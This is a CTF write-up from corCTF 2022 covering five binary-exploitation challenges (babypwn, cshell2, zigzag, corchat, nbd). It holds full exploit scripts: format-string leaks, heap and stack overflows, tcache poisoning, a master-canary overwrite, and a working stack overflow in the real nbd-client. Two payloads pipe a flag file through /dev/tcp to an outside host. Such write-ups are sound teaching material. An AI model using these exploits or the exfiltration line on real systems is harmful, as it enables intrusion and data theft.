corCTF 2022 Writeups

I played corCTF 2022 in zer0pts.

Actually I wasn't planning to play the CTF as I was busy that weekend. However, I saw st98-san solve some Web tasks and it looked interesting, so I decided to make a little time to work on the pwn tasks.

I'm going to write my solution for the tasks I managed to solve.

[pwn] babypwn

Description: Just another one of those typical intro babypwn challs... wait, why is this in Rust?
Server: nc be.ax 31801

The program is written by Rust but actually it's C. The whole main function is enclosed by unsafe to call libc functions.

fn main() {
    unsafe {
        libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);

        libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
        libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);

        let text = [0 as libc::c_char; 64].as_mut_ptr();
        libc::fgets(text, 64, libc_stdhandle::stdin());
        libc::printf("Hi, \0".as_ptr() as *const libc::c_char);

        libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
        libc::fgets(text, 128, libc_stdhandle::stdin());

Obviously, one bug is Format String Bug caused by printf and the another is Stack Buffer Overflow by the last fgets.

So, the easiest exploit is, first leak the libc address by FSB and then execute ROP chain by stack BOF.

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
#sock = Process("./babypwn")
sock = Socket("nc be.ax 31801")

sock.sendlineafter("name?\n", "%{}$p".format(6 + 0x3d))
libc_base = int(sock.recvlineafter("Hi, "), 16) - 0x20e15e

payload = b"A"*0x60
payload += p64(next(libc.gadget("ret;")))
payload += p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbol("system"))
sock.sendlineafter("emote?\n", payload)

[pwn] cshell2

Description: Well since cshell was pwned because tcache bins were used, I decided to restrict you to sizes above tcache allocation because then tcache can't be used :)!
Server: nc be.ax 31667

No source code, but the program is simple enough.

The program is a management tool to store person name, age, and bio. Analysing the binary, I found the structure of each person look like this:

typedef struct {
  u8 first[8];   // +00h
  u8 middle[8];  // +08h
  u8 last[8];    // +10h
  u64 age;       // +18h
  u8 bio[];      // +40h
} person_t;

The structure is allocated in the following way:

This is fine because the size must be bigger than 0x407 so it doesn't cause Heap Overflow on Line 32 at the moment. Note that each read doesn't terminate the string by NULL, which may cause Buffer Over-read in show function when printing the entries.

The bug lies in the edit function.

It allows us to write at most size - 0x20 bytes to bio. However, the offset to bio is 0x40 so this may cause 0x20 bytes of Heap Buffer Overflow.

There is also a Use-after-Free vulnerability in re-age function but it's not useful as a primitive and I didn't use it after all.

Address Leak

A common way to leak libc address in this type of heap challenge is to leak the address written in the freed chunk linked into unsorted/large/small bin. Since the string is not terminated by NULL in this program, we can leak the link pointer. I decided to leak it from bio because otherwise we lose the first one byte of the pointer*1 at least.

To put the link pointer on bio, we need to do something like the figure below:

First, create 3 unsortedbin-sized chunks. The last one is to avoid the freed chunks from being consolidated with top.
Second, delete the first 2 chunks. They get consolidated because they are unsortedbin-sized.
Next, create a chunk with 0x40 bytes larger size than the first-created chunk. This will write the link to main_arena into the position of person[1].bio, which is not accessible at this moment.

Then, we delete the chunk again as shown below. It will consolidate the chunk again but this time the link pointers (fd and bk) still remain at the position of person[1].bio.

At last, we create 2 chunks with the original size and the second one (person[1].bio) overlaps with the link pointers which we can leak.

This is not the only way to leak the address. An easier method is to use the heap BOF. In fact, I leaked the heap address by BOF*2.

First, delete a tcache-sized chunk.

Second, use the Heap Buffer Overflow to fill bio with some printable byte until the beginning of the link.

Be noted that libc-2.32 introduced a meaningless mitigation called safe-linking. Every link pointer of the tcache and fastbin are encoded by the following formula:

[encoded pointer] = ([address of chunk] >> 12) ^ [address of link]

Since the deleted chunk is linked to NULL, we can denote the formula as:

[encoded pointer] = [address of chunk] >> 12

That is, we can leak the address of the chunk because we know the lower 12-bit is fixed.


We can overwrite the link pointer with the heap BOF to achieve AAW primitive.

First, delete 2 tcache-sized chunks so that the first one is linked to the second one.

Then, overwrite the link pointer by BOF.

Allocating 2 new chunks will give us arbitrary pointer. I made it point to the person_t list and got AAW.

Getting the Shell

Recently, another meaningless mitigation is introduced to libc. Function pointers like __free_hook, __malloc_hook are removed.

Still, we have bunch of pointers in libc. I abused strlen@got to get RIP+argument control.

Here is the final exploit: ((I used reage to modify only 64-bits for AAW, but simply edit will also work.))

from ptrlib import *

def add(index, size, f='AAAA', m='BBBB', l='CCCC', age=0xdead, bio='DDDDDDDD'):
    sock.sendlineafter("re-age user\n", "1")
    sock.sendlineafter("index: \n", str(index))
    sock.sendlineafter("minimum): \n", str(size))
    sock.sendafter(": \n", f)
    sock.sendafter(": \n", m)
    sock.sendafter(": \n", l)
    sock.sendlineafter(": \n", str(age))
    sock.sendafter(": \n", bio)
def show(index):
    sock.sendlineafter("re-age user\n", "2")
    sock.sendlineafter("index: \n", str(index))
    r = sock.recvregex("last: (.+) first: (.+) middle: (.+) age: (\d+)\nbio: (.+)1 Add")
    return r
def delete(index):
    sock.sendlineafter("re-age user\n", "3")
    sock.sendlineafter("index: ", str(index))
def edit(index, f='AAAA', m='BBBB', l='CCCC', age=0xdead, bio='DDDDDDDD'):
    sock.sendlineafter("re-age user\n", "4")
    sock.sendlineafter("index: ", str(index))
    sock.sendafter(": \n", f)
    sock.sendafter(": \n", m)
    sock.sendafter(": \n", l)
    sock.sendlineafter(": \n", str(age))
    sock.sendafter(")\n", bio)
def reage(index, age):
    sock.sendlineafter("re-age user\n", "5")
    sock.sendlineafter("Index: ", str(index))
    sock.sendlineafter(": ", str(age))

libc = ELF("./libc.so.6")
sock = Process(["./ld.so", "--library-path", ".", "./cshell2"])
#sock = Socket("nc be.ax 31667")

# Leak libc base
add(0, 0x418)
add(1, 0x418)
add(2, 0x418)
add(0, 0x458)
add(0, 0x418)
add(1, 0x418, bio='A'*8)
libc_base = u64(show(1)[4][8:]) - libc.main_arena() - 0x60

# Reset

# Leak heap
add(0, 0x418)
add(1, 0x408)
payload  = b'A'*(0x418-0x40)
payload += b'X'*8
edit(0, bio=payload)
leak = show(0)[4][0x418-0x40+8:]
heap_base = u64(leak) << 12
logger.info("heap = " + hex(heap_base))

payload  = b'A'*(0x418-0x40)
payload += p64(0x411)
edit(0, bio=payload)

# Tcache poisoning
add(1, 0x408)
add(2, 0x408)
payload  = b'A'*(0x418-0x40)
payload += p64(0x411)
payload += p64(((heap_base + 0x6c0) >> 12) ^ 0x4040c0)
edit(0, bio=payload)

# Overwrite pointer
ofs_got_strlen = 0x1c7098
add(1, 0x408)
add(2, 0x408, f=p64(libc_base + ofs_got_strlen - 0x18), m=p64(0x408))
add(10, 0x418, f=b'/bin/sh\0')

# Win
reage(0, libc.symbol("system"))


[pwn] zigzag

Description: A heap note written in... zig?
Server: nc be.ax 31278

The program is a simple note manager but is written by Zig language.

There is an obvious vulnerability in edit function:

pub fn edit() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print("Index: ", .{});
    idx = try readNum();

    if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
        try stdout.print("Invalid index!\n", .{});

    try stdout.print("Size: ", .{});
    size = try readNum();

    if (size > chunklist[idx].len and size == ERR) {
        try stdout.print("Invalid size!\n", .{});

    chunklist[idx].len = size;

    try stdout.print("Data: ", .{});
    _ = try stdin.read(chunklist[idx]);

It writes data with arbitrary size but it doesn't re-allocate the chunk, which causes a Heap Buffer Overflow.

Graybox Heap Investigation

I put some random string to a chunk and searched for it with gdb. It seemed that the allocator is very different from the glibc memory allocator.

I created some chunks like

add(0, 0x10, "A"*0x10)
add(0, 0x20, "B"*0x20)
add(0, 0x20, "C"*0x20)

and found the allocator is similar to jemalloc.

Unlike K&R, the allocator uses different memory spaces for different size bands. It's more like jemalloc or SLUB of Linux kernel.

Also, it looked like the memory region for heap management exists near the data region.

We can leak these pointers by Buffer Over-read because the string is not NULL terminated.

Making AAR/AAW Primitives

Maybe we can do more by overwriting the management region.

In the screenshot above, you will notice that the pointer at 0x7ff9d92bb010 is pointing to the data region. Probably the allocator uses it to find an available space when malloc is called.

I did an experiment to overwrite the pointer and allocate a new chunk.

payload  = b"B"*0x1000
payload += p64(addr_heap)*2
payload += p64(elf.symbol("chunklist") - 0x10)
edit(1, 0x1020, payload)
add(2, 0x20, b"Hello")

It worked! The chunk for add(2, 0x20, b"Hello") is allocated near elf.symbol("chunklist"). So, we can overwrite chunklist with arbitrary data, which drops AAR/AAW primitive.

Getting the Shell

I looked over the memory and found there exist some stack pointers. So, I leaked the address by AAR and injected a ROP chain into the stack by AAW.

Here is the full exploit:

from ptrlib import *

def add(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def delete(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
def show(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
    return sock.recvline()
def edit(index, size, data):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)

elf = ELF("./zigzag")
#sock = Process("./zigzag")
sock = Socket("nc be.ax 31278")

# Leak heap pointer
add(0, 0x10, b"/bin/sh\0")
add(1, 0x20, "B"*0x20)
edit(1, 0x1020, "B"*0x1001)
addr_heap = u64(show(1)[0x1000:0x1008]) - 0x42
logger.info("heap = " + hex(addr_heap))

# Overwrite A pointer
payload  = b"B"*0x1000
payload += p64(addr_heap)*2
payload += p64(elf.symbol("chunklist") - 0x10)
edit(1, 0x1020, payload)
add(2, 0x20, b"Hello")

def AAR(address, size=8):
    # Overwrite chunklist[1]
    edit(2, 0x10, p64(address) + p64(size))
    # Read
    return show(1)

def AAW(address, data):
    # Overwrite chunklist[1]
    edit(2, 0x10, p64(address) + p64(len(data)))
    # Write
    edit(1, len(data), data)

# Leak stack
addr_stack = u64(AAR(elf.symbol("argc_argv_ptr"))) - 0xc8
logger.info("stack = " + hex(addr_stack))

# Pwn
rop = flat([
    # [rdx] = NULL
    next(elf.gadget("pop rdi; ret;")),
    next(elf.gadget("or rdx, rdi; ret;")),
    # rsi = NULL
    next(elf.gadget("pop rsi; ret;")),
    # skip garbage
    next(elf.gadget("pop r14; pop r15; pop rbp; ret;")),
    0xdeadbeef, 0xdeadbeef, 0xdeadbeef,
    # rdi = "/bin/sh"
    next(elf.gadget("pop rdi; ret;")),
    addr_heap - 0x3000,
    # execve
    next(elf.gadget("pop rax; mov rsi, rcx; syscall; ret;")),
], map=p64)
AAW(addr_stack, rop)


Be noted the ROP chain above has some garbage gadgets because the function modifies data at those positions before reaching ret.

[pwn] corchat

Description: Can you pwn our internal, terribly written, chat program?

A chat server written in C++ and the source codes are distributed.

There are 4 commands available:

  • SET_UNAME: Get a new username
  • GETSTATUS: Get the result of top -n 1 ... but only available for admin
  • _SEND_MSG: Broadcast a message to everyone
  • GET_UNAME: Get the current username

The GETSTATUS command looked suspicious but a normal user cannot use the command and there's no code to become admin.


The bug lies in _SEND_MSG command when receiving the message to broadcast:

typedef struct {
    char buffer[1024];
    uint16_t flags;
    uint16_t len;
} cor_msg_buf;

std::string Crusader::RecvMessage()
    std::string msg = "";
    cor_msg_buf msg_buf;

    memset(msg_buf.buffer, '\x00', sizeof(msg_buf.buffer));

    if (read(this->m_sock_fd, &msg_buf.len, sizeof(msg_buf.len)) <= 0)
        return msg;

    if (msg_buf.len >= sizeof(msg_buf.buffer) || msg_buf.len == 0)
        return msg;

    if (read(this->m_sock_fd, &msg_buf.flags, sizeof(msg_buf.flags)) <= 0)
        return msg;

    msg_buf.len -= sizeof(msg_buf.flags);
    if (msg_buf.len <= 0)
        return msg;

    if (read(this->m_sock_fd, msg_buf.buffer, msg_buf.len) <= 0)
        return msg;

    msg_buf.buffer[msg_buf.len] = '\x00';
    msg += msg_buf.buffer;

    return msg;

There is a line of code that subtracts sizeof(msg_buf.flags) from msg_buf.len. After that, the program checks if msg_buf.len is negative to avoid integer overflow.

However, the type of msg_buf.len is uint16_t, which can never be negative. So, this check actually doesn't prevent the integer overflow, which leads to Stack Buffer Overflow.

We can write up to 0xffff bytes into msg_buf.buffer. However, the problem is that SSP and PIE are enabled.

$ checksec corchat_server
[*] '/home/ptr/corctf/corchat/corchat_server'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

We can't simply run a ROP chain by the stack BOF.

One thing you may notice is the following statement:

msg_buf.buffer[msg_buf.len] = '\x00';

Since len exists after buffer in the msg_buf_t struct, we can put an arbitrary value to len by the buffer overflow. That is, we have a primitive to write a single NULL byte within 0xffff bytes relative to the buffer.

Bypassing the Stack Canary

I checked for some pointers on the stack to abuse the NULL-byte primitive. However, I couldn't find any useful pointer.

Minutes later, I realized the receiver is running on a thread created by pthread_create. So, the memory layout looks like the figure below:

The stack area with red background is stack of the receiver thread, in which the stack buffer overflow takes place.

From the memory layout, you will notice that you can overwrite TLS region. Yes, TLS has the master canary!

So, if you set len to the offset between buffer and the master canary, a NULL byte will be set to the master canary.1

In this way, we can overwrite the master canary byte by byte, which will eventually make the stack canary to be 0x0000000000000000.

Command Execution

Still, we have one more problem to solve: PIE is enabled.

I looked over the source code to see if I could leak the address anywhere else. As far as I briefly checked, however, I couldn't find any vulnerability useful for address leak.

I opened IDA and checked if I could jump to anywhere useful by partially overwriting the return address.

Overwriting the lowest byte of the return address with 0x11, we can jump to call DoAdmin instruction. The RDI register points to the controllable string buffer, which means we can control the argument of DoAdmin too!

Here is the exploit:

from pwn import *
import time

def set_uname(sock, name):
    return sock.recvline()
def get_uname(sock):
    return sock.recvline()
def get_status(sock):
def send_msg(sock, message, flags=0):
    sock.send(p16(len(message) + 2))
def overflow_msg(sock, message, flags=0):

sock1 = remote('pwn-corchat-228d8d0b4c128aba.be.ax', 1337, ssl=True)
#sock1 = Socket('pwn-corchat-228d8d0b4c128aba.be.ax', 1337)

ofs_master_canary = 0xd78

# overwrite master canary
for i in range(1, 8):
    payload  = b'A'*0x400
    payload += p16(0) # flags
    payload += p16(ofs_master_canary + i) # len
    payload += b'A'*4
    payload += b'\x00' * (i + 1) # canary
    overflow_msg(sock1, payload)

# partial overwrite
payload  = b"/bin/bash -c 'cat flag.txt > /dev/tcp/XXXXXXXX/YYYY'\0"
payload += b"\x00"*(0x400 - len(payload))
payload += p16(0) # flags
payload += p16(0x400) # len
payload += b'\x00'*0x24
payload += b'\x11'
overflow_msg(sock1, payload)


I think this challenge is really creative 👍

[pwn] nbd

Description: You pwned the server in 4th Real World CTF, can you pwn the client now?
Sever: nc be.ax 31279

I didn't have time but I took a look at this challenge because I've pwned NBD 0-day in Real World CTF before.

This challenge, again, is a 0-day pwn. I pwned NBD server In Real World CTF but this time it is NBD client.

Poor NBD author, to be used twice in CTFs for his software 0-day.

The challenge server executes the NBD client in the following way:

subprocess.run(['./nbd-client', ip.strip(), '-N', 'whatever', '-l', port.strip(), '/dev/nbd0'])

Let's check the client source code.

First, negotiate function is called for handshake.


Since we pass -l option to the client, the following path is taken:

 if(do_opts & NBDC_DO_LIST) {

Let's check ask_list function.


If the NBD server (our exploit) replied NBD_REP_SERVER, the execution reaches the following path:

if(reptype != NBD_REP_ACK) {
  if(reptype != NBD_REP_SERVER) {
    err("Server sent us a reply we don't understand!");
  if(read(sock, &lenn, sizeof(lenn)) < 0) {
    fprintf(stderr, "\nE: could not read export name length from server\n");
  if (lenn >= BUF_SIZE) {
    fprintf(stderr, "\nE: export name on server too long\n");
  if(read(sock, buf, lenn) < 0) {
    fprintf(stderr, "\nE: could not read export name from server\n");
  buf[lenn] = 0;
  printf("%s", buf);
  len -= lenn;
  len -= sizeof(lenn);
  if(len > 0) {
    if(read(sock, buf, len) < 0) {
      fprintf(stderr, "\nE: could not read export description from server\n");
    buf[len] = 0;
    printf(": %s\n", buf);
  } else {

The following part is the vulnerable code:

  len -= lenn;
  len -= sizeof(lenn);
  if(len > 0) {
    if(read(sock, buf, len) < 0) {
      fprintf(stderr, "\nE: could not read export description from server\n");
    buf[len] = 0;
    printf(": %s\n", buf);
  } else {

Because the type of len is unsigned, len > 0 always holds true unless len == 0. So, the following read causes Stack Buffer Overflow.

Since PIE and SSP are disabled, it's very easy to exploit this vulnerability.

from ptrlib import *
import contextlib
import socket


def recv_request(sock):
    assert sock.recv(8) == b'IHAVEOPT'
    opt = u32(sock.recv(4), 'big')
    ds = u32(sock.recv(4), 'big')
    data = sock.recv(ds)
    return opt, ds, data

def send_reply(sock, rep_type, length):
    sock.send(p64(0x3e889045565a9, 'big')) # rep_magic
    cli.send(p32(0, 'big'))                # opt (unused)
    cli.send(p32(rep_type, 'big'))         # rep_type
    cli.send(p32(length, 'big'))           # len

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("./libc-2.31.so")
elf = ELF("./nbd-client")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

rop_csu_popper = 0x40771a
rop_csu_caller = 0x407700
addr_stage = elf.section(".bss") + 0x800

with contextlib.closing(sock):
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    sock.bind(('', 18002))

    cli, addr = sock.accept()
    cli.send(p16(0xffff, byteorder='big')) # global_flags
    print("client_flags:", hex(u32(cli.recv(4), 'big')))
    assert recv_request(cli)[0] == 3 # OPT_LIST

    send_reply(cli, NBD_REP_SERVER, length=0x1)
    cli.send(p32(0x3ff, 'big') + b"A"*0x3ff)
    payload  = b"A"*0x410
    payload += b"\x00"*0x10
    payload += p32(NBD_REP_ACK) * 4
    payload += b"A"*0x38
    payload += flat([
        0, 1, 3, elf.got("write"), 8, elf.got("write"),
        rop_csu_caller, 0xdeadbeef,
        0, 1, 3, addr_stage, 0x100, elf.got("read"),
        rop_csu_caller, 0xdeadbeef,
        0, 1, 12, 13, 14, 15,
        next(elf.gadget("pop rsp; ret;")),
    ], map=p64)
    assert recv_request(cli)[0] == 2 # NBD_OPT_ABORT
    libc_base = u64(cli.recv(8)) - libc.symbol("write")

    payload = flat([
        next(elf.gadget("pop rdi; ret;")),
        addr_stage + 0x80,
        next(elf.gadget("pop rdi; ret;")),
    ], map=p64)
    payload += b"\x00"*(0x80 - len(payload))
    payload += b"/bin/bash -c 'cat flag.txt > /dev/tcp/XXXXXXXX/YYYY'"

    cli, addr = sock.accept()
    print(cli.recv(1024)) # flag

However, the network between my home and the challenge server was very unstable and my exploit didn't work. So, I rent a server in New York and run my exploit there, then I could get the flag.

I want to win the write-up competition to compensate for this server fee ($0.006) 🥺

*1:That's fine because the lowest 12-bit doesn't change by ASLR, but I didn't wanted to fix the code as I change the libc version.

*2:I usually write the exploit without any plan. I write what I came up with at the moment.